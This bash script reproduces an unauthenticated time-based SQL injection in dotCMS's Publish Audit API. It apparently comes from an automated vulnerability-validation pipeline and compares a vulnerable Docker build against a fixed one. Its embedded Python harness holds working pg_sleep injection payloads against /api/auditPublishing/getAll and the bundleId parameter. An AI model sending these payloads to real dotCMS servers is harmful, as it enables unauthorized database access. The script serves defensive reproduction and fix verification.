#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

exec > >(tee -a "$LOGS/reproduction_steps.log")
exec 2>&1

log() { echo "[$(date -Iseconds)] $*"; }
fail() { log "FAIL: $*"; write_manifest_unknown "$*"; exit 1; }

# ---------------------------------------------------------------------------
# Runtime manifest helpers (strict JSON via Python)
# ---------------------------------------------------------------------------
write_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
path = sys.argv[1]
data = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /api/auditPublishing/getAll (unauthenticated) against a running dotCMS Core",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["postgres", "opensearch", "dotcms"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/timing_summary.tsv",
    "logs/vuln_dotcms_container.log",
    "logs/vuln_postgres_container.log",
    "logs/vuln_opensearch_container.log",
    "logs/fixed_dotcms_container.log",
    "logs/fixed_postgres_container.log",
    "logs/fixed_opensearch_container.log",
    "logs/vuln_results.json",
    "logs/fixed_results.json",
    "logs/test_api.py"
  ],
  "notes": sys.argv[2] if len(sys.argv) > 2 else ""
}
with open(path, "w") as f:
    json.dump(data, f, indent=2)
PY
}

write_manifest_unknown() {
  python3 - "$REPRO_DIR/runtime_manifest.json" "$1" <<'PY'
import json, sys
path, note = sys.argv[1], sys.argv[2]
data = {
  "entrypoint_kind": "unknown",
  "entrypoint_detail": None,
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": [],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": note
}
with open(path, "w") as f:
    json.dump(data, f, indent=2)
PY
}

# ---------------------------------------------------------------------------
# Parse project cache context (prefer the prepared cache)
# ---------------------------------------------------------------------------
PROJECT_CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(python3 -c "import json; print(json.load(open('$ROOT/project_cache_context.json')).get('project_cache_dir',''))")
fi
log "PROJECT_CACHE_DIR=$PROJECT_CACHE_DIR"

# ---------------------------------------------------------------------------
# Docker image handling
# ---------------------------------------------------------------------------
ensure_image() {
  local img="$1"
  local tar_name="${2:-}"
  if docker images --format '{{.Repository}}:{{.Tag}}' | grep -qx "$img"; then
    log "Image $img already present"
    return 0
  fi
  log "Image $img not present locally; trying to load/pull ..."
  if [ -n "$tar_name" ] && [ -f "$PROJECT_CACHE_DIR/docker-images/$tar_name" ]; then
    docker load -i "$PROJECT_CACHE_DIR/docker-images/$tar_name"
  else
    docker pull "$img"
  fi
}

VULN_TAG="26.04.28-02"
FIXED_TAG="26.04.28-03"
log "Ensuring required Docker images are available ..."
ensure_image "dotcms/dotcms:$VULN_TAG" ""
ensure_image "dotcms/dotcms:$FIXED_TAG" "dotcms_dotcms_26.04.28-03.tar"
ensure_image "postgres:15" "postgres_15.tar"
ensure_image "opensearchproject/opensearch:1.3.19" ""
ensure_image "python:3-slim" ""
ensure_image "curlimages/curl:latest" ""

# ---------------------------------------------------------------------------
# Python test harness
# This file is also embedded into the sidecar via base64, because single-file
# bind mounts do not work reliably in this Docker-in-Docker environment.
# ---------------------------------------------------------------------------
TEST_API="$LOGS/test_api.py"
cat > "$TEST_API" <<'PY'
import json, time, urllib.request, urllib.error, urllib.parse, os

host = os.environ.get("HOST", "dotcms")
base = f"http://{host}:8082"

def post(url, body):
    data = json.dumps(body).encode()
    start = time.perf_counter()
    req = urllib.request.Request(url, data=data, headers={"Content-Type":"application/json"}, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            body_out = resp.read().decode(errors="replace")
            return resp.status, body_out, time.perf_counter() - start
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start
    except Exception as e:
        return -1, str(e), time.perf_counter() - start

def get(url):
    start = time.perf_counter()
    try:
        with urllib.request.urlopen(url, timeout=20) as resp:
            return resp.status, resp.read().decode(errors="replace"), time.perf_counter() - start
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start
    except Exception as e:
        return -1, str(e), time.perf_counter() - start

false_payload = ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]
true_payload = ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]

false_status, false_body, false_dur = post(f"{base}/api/auditPublishing/getAll", false_payload)
true_status, true_body, true_dur = post(f"{base}/api/auditPublishing/getAll", true_payload)

sqli = "x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"
get_url = f"{base}/api/auditPublishing/get?bundleId={urllib.parse.quote(sqli)}"
get_status, get_body, get_dur = get(get_url)

results = {
    "host": host,
    "getAll_false": {"status": false_status, "body": false_body, "duration": false_dur},
    "getAll_true": {"status": true_status, "body": true_body, "duration": true_dur},
    "get_bundleId": {"status": get_status, "body": get_body, "duration": get_dur}
}
print(json.dumps(results, indent=2))
PY

# ---------------------------------------------------------------------------
# Per-role stack runner
# ---------------------------------------------------------------------------
run_stack() {
  local role="$1"
  local version="$2"
  local port="$3"
  local net="pruva-cve20268054-${role}-net"
  local os="pruva-cve20268054-${role}-os"
  local pg="pruva-cve20268054-${role}-pg"
  local dc="pruva-cve20268054-${role}-dotcms"

  log "=== Starting ${role} stack (dotcms/dotcms:${version}) on port ${port} ==="

  # Clean up any leftover from a prior run
  docker rm -f "$dc" "$pg" "$os" >/dev/null 2>&1 || true
  docker network rm "$net" >/dev/null 2>&1 || true

  docker network create "$net" >/dev/null 2>&1

  # OpenSearch
  docker run -d --name "$os" --network "$net" --hostname "$os" \
    --ulimit memlock=-1:-1 --ulimit nofile=65536:65536 \
    -e cluster.name=elastic-cluster \
    -e discovery.type=single-node \
    -e bootstrap.memory_lock=true \
    -e OPENSEARCH_JAVA_OPTS="-Xmx1G" \
    opensearchproject/opensearch:1.3.19 >/dev/null

  # PostgreSQL
  docker run -d --name "$pg" --network "$net" --hostname "$pg" \
    -e POSTGRES_USER=dotcmsdbuser \
    -e POSTGRES_PASSWORD=password \
    -e POSTGRES_DB=dotcms \
    postgres:15 postgres -c 'max_connections=400' -c 'shared_buffers=128MB' >/dev/null

  # dotCMS
  docker run -d --name "$dc" --network "$net" --hostname "$dc" \
    -p "${port}:8082" \
    -e DB_BASE_URL="jdbc:postgresql://${pg}/dotcms" \
    -e DB_USERNAME=dotcmsdbuser \
    -e DB_PASSWORD=password \
    -e DOT_ES_ENDPOINTS="https://${os}:9200" \
    -e DOT_ES_AUTH_BASIC_USER=admin \
    -e DOT_ES_AUTH_BASIC_PASSWORD=admin \
    -e DOT_ES_AUTH_TYPE=BASIC \
    -e CMS_JAVA_OPTS="-Xmx1g" \
    -e LANG=C.UTF-8 \
    -e TZ=UTC \
    -e DOT_INITIAL_ADMIN_PASSWORD=admin \
    -e DOT_DOTCMS_CLUSTER_ID="dotcms-${role}" \
    dotcms/dotcms:"$version" >/dev/null

  local dc_log="$LOGS/${role}_dotcms_container.log"
  local pg_log="$LOGS/${role}_postgres_container.log"
  local os_log="$LOGS/${role}_opensearch_container.log"
  : > "$dc_log"; : > "$pg_log"; : > "$os_log"

  # Cleanup helper that runs on EXIT or at the end of a successful run
  local cleanup_done=0
  cleanup_role() {
    if [ "$cleanup_done" -eq 1 ]; then return; fi
    cleanup_done=1
    docker stop -t 30 "$dc" "$pg" "$os" >/dev/null 2>&1 || true
    docker rm -f "$dc" "$pg" "$os" >/dev/null 2>&1 || true
    docker network rm "$net" >/dev/null 2>&1 || true
  }
  trap cleanup_role EXIT

  # Wait for dotCMS to finish its MainServlet initialization by polling the
  # container logs directly (no background file streaming, so stale processes
  # cannot corrupt the log files).
  log "Waiting for ${role} dotCMS to finish startup (timeout 300s) ..."
  local waited=0
  while [ "$waited" -lt 300 ]; do
    if docker logs --tail 50 "$dc" 2>/dev/null | grep -q "LIVENESS FIRST SUCCESS"; then
      log "${role} dotCMS is live and ready after ${waited}s"
      break
    fi
    sleep 5
    waited=$((waited + 5))
  done

  if [ "$waited" -ge 300 ]; then
    log "${role} dotCMS did not become ready within 300s"
    return 1
  fi

  # Wait for the dotCMS HTTP service to actually accept requests from the
  # same Docker network. We use a curl sidecar so the request reaches the
  # container by hostname, avoiding host-port forwarding problems in some
  # sandbox environments.
  log "Waiting for ${role} dotCMS HTTP service to respond ..."
  waited=0
  while [ "$waited" -lt 120 ]; do
    local code
    code=$(docker run --rm --network "$net" curlimages/curl:latest \
      --connect-timeout 5 --max-time 5 -s -o /dev/null -w "%{http_code}" \
      "http://${dc}:8082/api/v1/system/status" || true)
    if [ -n "$code" ] && [ "$code" != "000" ]; then
      log "${role} dotCMS healthcheck returned HTTP ${code} after ${waited}s"
      break
    fi
    sleep 5
    waited=$((waited + 5))
  done

  if [ "$waited" -ge 120 ]; then
    log "${role} dotCMS HTTP service did not respond within 120s"
    return 1
  fi

  # Run the SQLi timing tests from inside the dotCMS network.
  # The Python harness is passed as a base64-encoded environment variable
  # because bind mounts from the host filesystem are not reliable here.
  log "Running SQLi tests against ${role} dotCMS ..."
  local b64
  b64=$(base64 -w0 "$TEST_API")
  local results
  if ! results=$(docker run --rm --network "$net" \
    -e HOST="$dc" \
    -e CODE="$b64" \
    python:3-slim python3 -c 'import base64,os; exec(base64.b64decode(os.environ["CODE"]))'); then
    log "SQLi test sidecar failed for ${role}"
    return 1
  fi
  printf '%s\n' "$results" > "$LOGS/${role}_results.json"

  # Capture the container logs for later inspection, then cleanup
  docker logs "$pg" > "$pg_log" 2>&1 || true
  docker logs "$os" > "$os_log" 2>&1 || true
  docker logs "$dc" > "$dc_log" 2>&1 || true
  cleanup_role
  trap - EXIT
  log "=== ${role} stack cleaned up ==="
}

# ---------------------------------------------------------------------------
# Run vulnerable and fixed stacks
# ---------------------------------------------------------------------------
VULN_PORT=8082
FIXED_PORT=8083

run_stack "vuln" "$VULN_TAG" "$VULN_PORT" || fail "vulnerable stack did not start"
run_stack "fixed" "$FIXED_TAG" "$FIXED_PORT" || fail "fixed stack did not start"

# ---------------------------------------------------------------------------
# Analyze results and write a timing summary
# ---------------------------------------------------------------------------
python3 - "$LOGS/vuln_results.json" "$LOGS/fixed_results.json" "$LOGS/timing_summary.tsv" "$LOGS/verdict.json" <<'PY'
import json, sys, csv

vuln = json.load(open(sys.argv[1]))
fixed = json.load(open(sys.argv[2]))
out_path = sys.argv[3]

def duration(r, key):
    return r[key]["duration"]

def status(r, key):
    return r[key]["status"]

with open(out_path, "w", newline="") as f:
    w = csv.writer(f, delimiter="\t")
    w.writerow(["test", "role", "version", "http_code", "duration_s", "note"])
    w.writerow(["getAll_false", "vuln", "26.04.28-02", status(vuln, "getAll_false"), f"{duration(vuln, 'getAll_false'):.6f}", "baseline (expect fast)"])
    w.writerow(["getAll_true", "vuln", "26.04.28-02", status(vuln, "getAll_true"), f"{duration(vuln, 'getAll_true'):.6f}", "time-based SQLi (expect ~5s)"])
    w.writerow(["get_bundleId", "vuln", "26.04.28-02", status(vuln, "get_bundleId"), f"{duration(vuln, 'get_bundleId'):.6f}", "GET bundleId payload"])
    w.writerow(["getAll_false", "fixed", "26.04.28-03", status(fixed, "getAll_false"), f"{duration(fixed, 'getAll_false'):.6f}", "fixed (no unauthenticated SQLi)"])
    w.writerow(["getAll_true", "fixed", "26.04.28-03", status(fixed, "getAll_true"), f"{duration(fixed, 'getAll_true'):.6f}", "fixed (no unauthenticated SQLi)"])
    w.writerow(["get_bundleId", "fixed", "26.04.28-03", status(fixed, "get_bundleId"), f"{duration(fixed, 'get_bundleId'):.6f}", "fixed (no unauthenticated SQLi)"])

vuln_true = duration(vuln, "getAll_true")
vuln_false = duration(vuln, "getAll_false")
fixed_true = duration(fixed, "getAll_true")

confirmed = (
    status(vuln, "getAll_true") == 200 and
    vuln_true >= 4.0 and
    fixed_true < 1.0
)

print(f"VULN_TRUE_DURATION={vuln_true:.3f}")
print(f"VULN_FALSE_DURATION={vuln_false:.3f}")
print(f"FIXED_TRUE_DURATION={fixed_true:.3f}")
print(f"CONFIRMED={confirmed}")

with open(sys.argv[4], "w") as f:
    json.dump({"confirmed": confirmed}, f)
PY

CONFIRMED=$(jq -r '.confirmed' "$LOGS/verdict.json" 2>/dev/null || echo "false")

# Best-effort copy of the current run artifacts into the project cache for
# proof-carry reference. This does not affect the current run result.
if [ -n "$PROJECT_CACHE_DIR" ] && [ -f "$ROOT/project_cache_context.json" ]; then
  proof_enabled=$(python3 -c "import json; print(json.load(open('$ROOT/project_cache_context.json')).get('proof_carry',{}).get('enabled','false'))")
  if [ "$proof_enabled" = "true" ]; then
    pc_slot="latest_attempt"
    [ "$CONFIRMED" = "true" ] && pc_slot="latest_confirmed"
    pc_dir="$PROJECT_CACHE_DIR/.pruva/proof-carry/$pc_slot"
    log "Copying current run artifacts to proof-carry cache ($pc_slot) ..."
    mkdir -p "$pc_dir/repro" "$pc_dir/logs"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR/validation_verdict.json" "$REPRO_DIR/rca_report.md" "$pc_dir/repro/" 2>/dev/null || true
    cp -f "$LOGS/reproduction_steps.log" "$LOGS/timing_summary.tsv" "$LOGS/vuln_results.json" "$LOGS/fixed_results.json" "$LOGS/test_api.py" "$pc_dir/logs/" 2>/dev/null || true
    cp -f "$LOGS/vuln_dotcms_container.log" "$LOGS/fixed_dotcms_container.log" "$pc_dir/logs/" 2>/dev/null || true
  fi
fi

if [ "$CONFIRMED" = "true" ]; then
  write_manifest "Confirmed unauthenticated time-based SQLi in dotCMS Publish Audit API; vulnerable 26.04.28-02 delays ~5s, fixed 26.04.28-03 does not."
  log "REPRODUCTION CONFIRMED"
  exit 0
else
  write_manifest_unknown "SQLi timing evidence did not meet confirmation threshold. See logs/timing_summary.tsv and logs/*_results.json."
  log "REPRODUCTION NOT CONFIRMED"
  exit 1
fi
